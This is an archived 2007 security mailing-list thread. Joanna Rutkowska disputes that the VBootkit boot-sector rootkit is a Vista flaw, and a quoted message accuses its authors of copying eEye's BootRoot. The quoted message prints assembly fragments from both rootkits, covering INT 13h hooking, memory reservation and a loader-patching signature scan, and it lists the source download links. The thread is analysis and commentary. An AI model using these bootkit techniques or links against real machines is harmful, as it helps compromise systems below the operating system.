[Dailydave] Nitin Kumar & Vipin Kumar: "please remember to give necessary credit to the authors" PKB.
Joanna Rutkowska
joanna at invisiblethings.org
Thu Apr 26 17:29:00 EDT 2007
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Another thing which should be made clear here is that it's simply unfair
IMHO to present such an attack as if it demonstrated some kind of
security problem in Vista. Please note that Vista *does* make use of the
TPM module via BitLocker to ensure the secure boot process and the
purpose of this is just to prevent such attacks. We just need to have
this TPM module installed on our motherboard.
If I'm mistaken and if this attack worked indeed on Vista with
Bitlocker/TPM enabled, then it would be a *very* nice piece of work! But
it clearly seems it does not...
So, it seems to me like somebody is pointing out a problem which has
already been addressed by Microsoft (via Bitlocker).
Personally I prefer attacks which allow one to get into kernel on the
fly, without reboot ;) Still, however, I must say I very much enjoyed
the work by Derek Soeder and also later by John Heasman -- please note
however that they did not present it as "kernel compromising attacks",
but rather as "persistence technology for malware"...
joanna.
Dave Korn wrote:
>
> Well, I see at Security Focus
>
> http://www.securityfocus.com/columnists/442/1
>
> that some guys called Nitin and Vipin Kumar are claiming to have written a
> boot-sector rootkit called "VBootkit". There's a three page interview with
> them, and the source is available from their website: the links are
>
> Front door: http://www.nvlabs.in/.
>
> Article: "BOOT KIT: Custom boot sector based Windows 2000/XP/2003 Subversion"
> http://www.nvlabs.in/?q=node/11
>
> Code download page: http://www.nvlabs.in/?q=node/14
> Code URLs: http://www.nvlabs.in/files/bootkitbasic_0.zip
> http://www.nvlabs.in/files/bootkitprivilege_0.zip
>
> Now, sometimes I feel like I'm the only person on teh internets that can
> actually remember more than ten minutes ago in the past, but maybe it's only
> journalists. Still, the moment I saw the hyperbolic headline, "0wning Vista
> from the boot", I wondered what was so special about this that wasn't already
> demonstrated by Derek and Ryan from eEye two years ago.
>
> So, I downloaded their code. God, it sucks. I was very disappointed by the
> lack of any serious amount of comments; it's not easy to read. But, I could
> see easily they were using the same trick of hooking int 13h to stay resident
> that eEye demonstrated.
>
> Suddenly, this comment jumped out at me:
>
> --------------------------------<snip!>--------------------------------
> db 90h ; to get alignment, i suppose
> --------------------------------<snip!>--------------------------------
>
> Huh? They suppose? Don't they even know why they did it?
>
> Then I saw the line after next:
>
> --------------------------------<snip!>--------------------------------
> dword_E5: dd 0 ;something extra
> --------------------------------<snip!>--------------------------------
>
> That's not the kind of label someone writes in their code, and it's not the
> kind of comment that someone writes. That's an IDA auto-generated label. By
> now, I was getting seriously suspicious. So, for comparison, here's the start
> of the code from eEye's BootRoot:
>
> --------------------------------<snip!>--------------------------------
> cli
>
> xor bx, bx
> mov ss, bx
>
> mov ss:[BOOTORG - 2], sp
> mov sp, (BOOTORG - 2)
>
> push ds
> pushad
>
> mov ds, bx
>
> ;
> ; Reserve 1KB conventional memory for our memory-resident code
> ;
>
> dec word ptr ds:[0413h] ; 0040h:0013h
> - base memory size in KBs
>
> mov ax, ds:[0413h]
> shl ax, (10-4) ; AX *= 1024 /
> 16 (convert linear address in KBs to a segment)
> mov es, ax
>
> ;
> ; Copy ourselves to reserved memory and initialize the rest to zeroes
> ;
>
> cld
>
> mov si, BOOTORG
> xor di, di
> mov cx, BOOTROOT_SIZE / 2
> rep movsw
>
> xor ax, ax
> mov ch, (1024 - BOOTROOT_SIZE) / 2 / 100h
> rep stosw
>
> ;
> ; Install our INT 13h hook
> ;
>
> mov eax, ds:[bx + (13h*4)]
> mov es:[INT13HANDLER - @BRCODE16_START], eax ;
> store previous handler
>
> mov word ptr [bx + (13h*4)], @Int13Hook ; point INT
> 13h vector to our hook handler
> mov [bx + (13h*4) + 2], es ; (BX = 0 from
> earlier)
>
> ;
> ; Load and execute MBR from first hard drive (do this from resident
> code)
> ;
>
> push es
> push @BootFromHDD
> retf
> --------------------------------<snip!>--------------------------------
>
> ... and here's the start of their code:
>
> --------------------------------<snip!>--------------------------------
> cli
> xor bx,bx
> mov ss,bx
> mov [ss:0x7bfe],sp
> mov sp,0x7bfe
> push ds
> pushad
> mov ds,bx
> mov ax,[0x413]
> sub ax,2
> mov [0x413],ax
> shl ax,0x6
> mov ax,CODEBASEIN1MB
> mov es,ax
> mov [0x7c00 + codereloc],ax
> cld
> mov si,0x7c00
> xor di,di
> mov cx,0x400 ;number of bytes 2 copy to new location this is in
> words currently 2 kbs are loaded
> rep movsw
> sti
> mov ax,0x201
> mov cl,0x2
> cdq
> cli
> mov eax,[0x4c]
> mov [es:INT13INTERRUPTVALUE],eax
> mov word [0x4c], newint13handler
> mov [0x4e],es
> sti
> directjumpwithouthook:
> push es
> push word newmemorycodestart
> retf
> newmemorycodestart:
> --------------------------------<snip!>--------------------------------
>
> Apart from changing "dec word ptr ds:[0413h]" into a load-subtract-store
> sequence, because they wanted to reserve 2kB instead of one, and apart from
> changing the amount of memory copied to 2kB, and replacing the sequence
>
> xor ax, ax
> mov ch, (1024 - BOOTROOT_SIZE) / 2 / 100h
> rep stosw
>
> that pads to the top of memory with zeros by the meaningless (since eax is
> immediately overwritten anyway) sequence[*]:
>
> sti
> mov ax,0x201
> mov cl,0x2
> cdq
> cli
>
> it's identical. Or take a look at the signature of bytes they search for to
> overwrite in the int13 hook: eEye
>
> --------------------------------<snip!>--------------------------------
> @Int13Hook_scan_loop:
> ; 8B F0
> MOV ESI, EAX
> ; 85 F6
> TEST ESI, ESI
> ; 74 21
> JZ $+23h
> ; 80 3D ...
> CMP BYTE PTR [ofs32], imm8
> ; (the first 6
> bytes of this signature exist in other modules!)
> repne scasb
> jne short @Int13Hook_scan_done
>
> cmp dword ptr es:[di], 74F685F0h
> jne short @Int13Hook_scan_loop
>
> cmp word ptr es:[di+4], 8021h
> jne short @Int13Hook_scan_loop
>
> mov word ptr es:[di-1], 15FFh ;
> FFh/15h/xx/xx/xx/xx: CALL NEAR [ofs32]
> --------------------------------<snip!>--------------------------------
>
> and now Vbootkit:
>
> --------------------------------<snip!>--------------------------------
> scanloop:
> repne scasb
> jnz scandone
> cmp dword [es:di],0x74f685f0 ;these are signature bytes
> jnz scanloop
> cmp word [es:di+0x4],0x8021
> jnz scanloop
> mov word [es:di-0x1],0x15ff
> --------------------------------<snip!>--------------------------------
>
>
> I've seen enough. It's transparently obvious that these self-publicising
> clowns have used IDA to disassemble BootRoot (Guys! Didn't you know it comes
> with source? How dumb are you?), and have crudely hacked out the very very
> clever ndis-patching backdoor payload written by Derek and Ryan and replaced
> it with their own crappy amateurish functionality.
>
>
> Just to really put the icing on the cake, and then put the cherry on the
> icing, these code-stealing tossers placed the following pitiable request at
> the top of their assembler source:
>
> --------------------------------<snip!>--------------------------------
> ;If you develop anything using this code, please remember to give necessary
> credit to the authors
> --------------------------------<snip!>--------------------------------
>
> Nitin? Vipin? I agree; we all should remember to give necessary credit to
> the authors: Derek Soeder and Ryan Permeh, whose innovative hard work deserves
> praise. How come you guys forgot to, huh?
>
>
> cheers,
> DaveK
>
> [*] Footnote: I haven't looked at the opcodes for these two sequences, but
> what's the betting they're mostly the same bytes, and these guys have somehow
> managed to get a framing error when IDAing it?
-----BEGIN PGP SIGNATURE-----
iD8DBQFGMRmXORdkotfEW84RAuEwAKCSSSeZSEi28gFTItJYn0aEPuA+ygCdF+Lz
D3VfpO4LUMIk8wfrFUedkUk=
=tIKh
-----END PGP SIGNATURE-----
More information about the Dailydave
mailing list